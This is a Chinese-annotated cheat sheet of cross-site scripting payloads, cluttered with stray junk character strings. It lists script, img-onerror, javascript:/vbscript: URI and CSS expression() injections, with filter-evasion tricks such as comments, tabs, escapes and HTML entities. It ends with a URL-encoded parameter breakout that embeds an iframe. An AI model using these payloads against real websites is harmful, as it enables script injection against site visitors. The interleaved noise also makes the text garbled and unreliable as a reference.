<script>alert("跨站")</script> (最常用)7 M7 y( L6 @7 \/ H
<img scr=javascript:alert("跨站")></img>
" S6 p1 L$ X& N) B5 q ^) Y<img scr="javascript: alert(/跨站/)></img>
, v5 n/ `1 y$ a2 I9 k+ L4 M+ ?<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格)
* k3 P, B3 e2 c9 H" h- ~" o9 C p<img scr="#" onerror=alert(/跨站/)></img>
$ H }6 t n' w% s& S. g<img scr="#" style="xss:expression(alert(/xss/));"></img>
9 y0 | x5 d6 y" n3 G$ | b<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释)
/ G. b$ Y# L: L. S% P3 G<img src=vbscript:msgbox ("xss")></img># A& P) a; Q7 H2 Q) F# _
<style> input {left:expression (alert('xss'))}</style>
9 K) |6 S* ^/ _ K3 Z' j<div style={left:expression (alert('xss'))}></div>) |9 Y+ [ Y5 r5 s ^! z) v
<div style={left:exp/* */ression (alert('xss'))}></div>
7 P! A: `) i0 V: X! a& q<div style={left:\0065\0078ression (alert('xss'))}></div>' F( Y. } s8 S% ?' b7 B
html 实体 <div style={left:&#x0065;xpression (alert('xss'))}></div>" s3 q B# j# Q# O+ L. _/ m1 Y3 p1 P5 `
unicode <div style="{left:expRessioN (alert('xss'))}">$ z3 j6 @9 r* `$ Y) l
# s0 {4 q* y) Q( `9 P"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>["
# B0 q* ]& l, Q3 K |